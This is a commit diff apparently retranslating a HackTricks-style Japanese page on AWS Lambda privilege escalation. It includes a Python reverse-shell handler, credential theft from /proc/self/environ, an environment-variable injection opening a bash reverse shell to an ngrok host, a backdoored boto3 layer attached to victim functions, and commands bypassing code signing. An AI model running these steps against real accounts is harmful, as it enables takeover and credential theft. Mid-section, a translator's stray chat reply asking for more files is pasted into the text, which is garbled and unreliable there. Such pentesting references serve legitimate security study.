Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

2025-12-29 06:03:26 -08:00 · 2025-10-06 23:07:47 +00:00
parent 75a3b1136a
commit bbcdc1b895
13 changed files with 911 additions and 90 deletions
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -4,7 +4,7 @@

 ## lambda

-lambdaに関する詳細情報は以下を参照してください：
+More info about lambda in:

 {{#ref}}
 ../aws-services/aws-lambda-enum.md
@@ -12,11 +12,11 @@ lambdaに関する詳細情報は以下を参照してください：

 ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

-**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\
-彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます（例えば、rev shellを使用して）**。\
-関数が設定されると、ユーザーは**その実行をトリガーし**、AWS APIを通じてLambda関数を呼び出すことで意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することができます。\\
+**`iam:PassRole`, `lambda:CreateFunction`, `lambda:InvokeFunction`** の権限を持つユーザーは権限を昇格できます。\
+彼らは**新しい Lambda 関数を作成して既存の IAM ロールを割り当てる**ことができ、そのロールに紐づく権限が関数に付与されます。ユーザーはその後**この Lambda 関数にコードを書き込みアップロードする（例えば rev shell）**ことができます。\
+関数がセットアップされると、ユーザーは **実行をトリガー** して AWS API を通じて Lambda 関数を呼び出すことで意図した処理を実行できます。この方法により、ユーザーは関連する IAM ロールに付与されたアクセスレベルで間接的に操作を行えます。\\

-攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます：
+攻撃者はこれを悪用して **rev shell と token を盗む** ことができます:
 ```python:rev.py
 import socket,subprocess,os,time
 def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-あなたはまた、**lambda関数自体のlambdaロールの権限を悪用する**ことができます。\
-もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます：
+また、lambda 関数自体から **lambda ロールの権限を悪用する** こともできます。\
+lambda ロールに十分な権限があれば、それを使って自分に管理者権限を付与できます:
 ```python
 import boto3
 def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
 )
 return response
 ```
-lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用される**ネットワーク隔離されたLambda**にとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。
+外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に有用です。未知の security groups があなたの reverse shells をフィルタしている場合、このコードは lambda の出力として credentials を直接 leak することを可能にします。
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
+**潜在的な影響:** 指定された任意の lambda サービスロールに対する直接的な privesc。

 > [!CAUTION]
-> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** は単独では **`aws lambda invoke-async`** を実行することを許可しません。`lambda:InvokeFunction` も必要です。
+> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** 単体では **`aws lambda invoke-async` を実行** することは**できません**。**`lambda:InvokeFunction`** も必要です。

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

-前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、自分に **`lambda:InvokeFunction`** の権限を付与することができます。
+前のシナリオと同様に、**自分に `lambda:InvokeFunction` を付与する** ことができます（**`lambda:AddPermission`** の権限がある場合）。
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**潜在的影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
+**Potential Impact:** 指定された任意の Lambda service role への直接 privesc。

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

-**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー（おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む）は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\
-彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。
+`iam:PassRole`、`lambda:CreateFunction`、`lambda:CreateEventSourceMapping` の権限（場合によっては `dynamodb:PutItem` や `dynamodb:CreateTable` も）があるユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます。\
+彼らは悪意あるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。

-ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガー** され、渡されたIAMロールの権限でコードが実行されます。
+Lambda を直接呼び出す代わりに、ユーザーは既存の DynamoDB テーブルを作成または利用し、それを event source mapping を通じて Lambda にリンクします。この構成により、テーブルに新しいアイテムが追加されると（ユーザーの操作または別のプロセスによって）、Lambda function が **テーブルへの新しいアイテム登録時に自動でトリガーされる** ようになり、結果として Lambda function が間接的に呼び出され、渡された IAM role の権限でコードが実行されます。
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーはLambda関数のために**イベントソースマッピングを設定する必要があります**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**：
+もしDynamoDBが既にAWS環境で有効になっている場合、ユーザーはLambda関数のために**イベントソースマッピングを設定するだけでよい**。しかし、DynamoDBが利用されていない場合は、ストリーミングを有効にした**新しいテーブルを作成する必要があります**：
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
+これで、**Lambda function を DynamoDB table に接続する** には、**event source mapping を作成する** ことで可能です:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-DynamoDBストリームにリンクされたLambda関数を使用すると、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは**DynamoDBテーブルにアイテムを挿入することによって**実現できます：
+Lambda functionがDynamoDB streamにリンクされている場合、攻撃者はDynamoDB streamを作動させることで**間接的にLambdaをトリガーすることができます**。これはDynamoDBテーブルに**アイテムを挿入する**ことで実行できます:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**潜在的な影響:** 指定されたlambdaサービスロールへの直接的な権限昇格。
+**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。

 ### `lambda:AddPermission`

-この権限を持つ攻撃者は**自分自身（または他の人）に任意の権限を付与することができます**（これはリソースへのアクセスを付与するためのリソースベースのポリシーを生成します）：
+この権限を持つ攻撃者は **自分自身（または他者）に任意の権限を付与できる**（これはリソースへのアクセスを付与するためのリソースベースポリシーを生成する）：
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,23 +130,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**潜在的な影響:** コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。
+**潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambda のサービスロールに対する直接的な privesc を行える。

 ### `lambda:AddLayerVersionPermission`

-この権限を持つ攻撃者は**自分自身（または他の人）に`lambda:GetLayerVersion`の権限を付与することができます**。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができます。
+この権限を持つ攻撃者は、**自分（または他者）に `lambda:GetLayerVersion` 権限を付与できる**。レイヤーにアクセスして脆弱性や機密情報を探すことが可能だ。
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-**潜在的影響:** 機密情報へのアクセスの可能性。
+**Potential Impact:** 機密情報への潜在的なアクセス。

 ### `lambda:UpdateFunctionCode`

-**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\
-攻撃者は**IAM資格情報を外部に流出させるためにlambdaのコードを変更することができます。**
+ユーザーが **`lambda:UpdateFunctionCode`** 権限を持っていると、IAM ロールに紐づいた既存の Lambda 関数のコードを**変更できる可能性があります。**\
+攻撃者は **Lambda のコードを変更して IAM 資格情報を窃取（exfiltrate）するように仕組むことができます。**

-攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。
+攻撃者が関数を直接呼び出す権限を持っていない場合でも、Lambda 関数が既に存在して稼働しているなら、既存のワークフローやイベントによってトリガーされる可能性が高く、その結果変更したコードが間接的に実行されることがあります。
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt

 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。
+**Potential Impact:** 使用されている lambda service role への直接 privesc

 ### `lambda:UpdateFunctionConfiguration`

-#### 環境変数を介したRCE
+#### RCE via env variables

-この権限を持つことで、Lambdaが任意のコードを実行する環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます：
+この権限があれば、環境変数を追加して Lambda が任意のコードを実行するようにできます。例えば python では環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることが可能です:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。
+他のスクリプト言語では、使用できる別の環境変数があります。詳細は、次のスクリプト言語の小節を参照してください：

 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
 {{#endref}}

-#### Lambdaレイヤーを介したRCE
+#### RCE via Lambda Layers

-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) を使うと、lamdba 関数に **code** を含めることができますが、**別に格納する** ことで関数の **code** を小さく保て、**複数の関数でcodeを共有できる** ようになります。

-ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。
+lambda 内では、次のような関数で python code が読み込まれるパスを確認できます：
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-これらの場所です：
+これらが対象のパスです:

 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -198,61 +198,126 @@ print(json.dumps(sys.path, indent=2))
 9. /opt/python/lib/python3.7/site-packages
 10. /opt/python

-例えば、ライブラリboto3は`/var/runtime/boto3`（4番目の位置）から読み込まれます。
+For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).

-#### 悪用
+#### Exploitation

-`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するためには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。
+権限 `lambda:UpdateFunctionConfiguration` を悪用して、lambda 関数に **新しい layer を追加** することが可能です。任意のコードを実行するためには、この layer に lambda が import するような **ライブラリ** を含める必要があります。lambda のコードを読めるなら容易に見つけられます。また、lambda が **すでに layer を使用している** 可能性があり、その layer を **ダウンロード** してそこに **コードを追加** できることもあります。

-例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します：
+例えば、lambda がライブラリ boto3 を使用していると仮定すると、これはそのライブラリの最新バージョンを含むローカル layer を作成します:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します（例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など）。
+`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードに backdoor を追加**できます（例: credentials を exfiltrate する関数や reverse shell を得る関数）。

-次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウントにアップロードします（または被害者のアカウントにアップロードしますが、その場合は権限がないかもしれません）。\
-python フォルダを作成し、ライブラリをそこに置いて /opt/python/boto3 を上書きする必要があることに注意してください。また、レイヤーはラムダで使用されている**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
+その後、`./lambda_layer` ディレクトリを zip にし、**新しい lambda layer を upload**して自分のアカウント（または被害者のアカウント、ただし権限がない可能性があります）に配置します。\
+注意: /opt/python/boto3 を override するために python フォルダを作成してライブラリをそこに置く必要があります。 また、layer は lambda が使用する **compatible with the python version** である必要があり、もし自分のアカウントに upload する場合は **same region:** に配置する必要があります:
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-今、アップロードしたlambdaレイヤーを**すべてのアカウントからアクセス可能に**します:
+次に、アップロードした lambda layer を**任意のアカウントからでもアクセス可能に**します:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-被害者のlambda関数にlambdaレイヤーを添付します:
+そして、lambda layer を victim lambda function にアタッチする:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。後者がより安全な方法です。
+次のステップは、可能であれば自分で **invoke the function** するか、通常の手段で **it gets invoked** されるのを待つことになります — 後者の方が安全な方法です。

-**この脆弱性を利用するよりステルスな方法**は以下にあります：
+A **more stealth way to exploit this vulnerability** can be found in:

 {{#ref}}
 ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}

-**潜在的な影響：** 使用されるlambdaサービスロールへの直接的な権限昇格。
+**Potential Impact:** 直接的な privesc が使用されている lambda service role に対して行われます。

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

-これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法が見つからなかったので、もし見つけたら教えてください！
+おそらくこれらの権限があれば function を作成し、URL を呼び出して実行できるかもしれません…しかし私の方ではテスト方法を見つけられなかったので、見つけたら教えてください！

 ### Lambda MitM

-いくつかのlambdaは、**ユーザーからのパラメータで機密情報を受け取る**ことになります。もしそのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください：
+一部の lambdas はパラメータでユーザから機密情報を **receiving sensitive info from the users in parameters.** もしそのうちの1つで RCE を得られれば、他のユーザがそこに送っている情報を exfiltrate できます。詳しくは次を確認してください:

 {{#ref}}
 ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}

-## 参考文献
+## 参考

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

 {{#include ../../../banners/hacktricks-training.md}}
+
+
+
+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
+
+If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
+
+Permissions (one of):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Notes:
+- For Path B, you don't need an AWS Signer profile if the CSC policy is set to `WARN` (unsigned artifacts allowed).
+
+Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
+
+Prepare a small payload:
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+パス A) CSC を削除してからコードを更新：
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+パス B) Warn にダウングレードしてコードを更新する (delete が許可されていない場合):
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+--description ht-warn-csc \
+--code-signing-policies UntrustedArtifactOnDeployment=WARN \
+--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+確認しました。以下のルールで翻訳を行います。
+
+- コード、ハッキング技術名、一般的なハッキング用語、クラウド/SaaSプラットフォーム名（例: Workspace、aws、gcp 等）、単語 "leak"、pentesting、リンク、Markdown/HTML タグ、ファイルパスは翻訳しません。  
+- {#ref} や {#include} 等のタグやリンク、パスはそのまま残します。  
+- 翻訳に余分な内容は追加しません。
+
+続けて翻訳するファイルの内容を送ってください。
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+潜在的な影響: サイン済みデプロイを強制するはずの関数に対して、任意の署名されていないコードをプッシュおよび実行できる可能性があり、結果として関数ロールの権限でコードが実行される可能性があります。
+
+クリーンアップ:
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```
+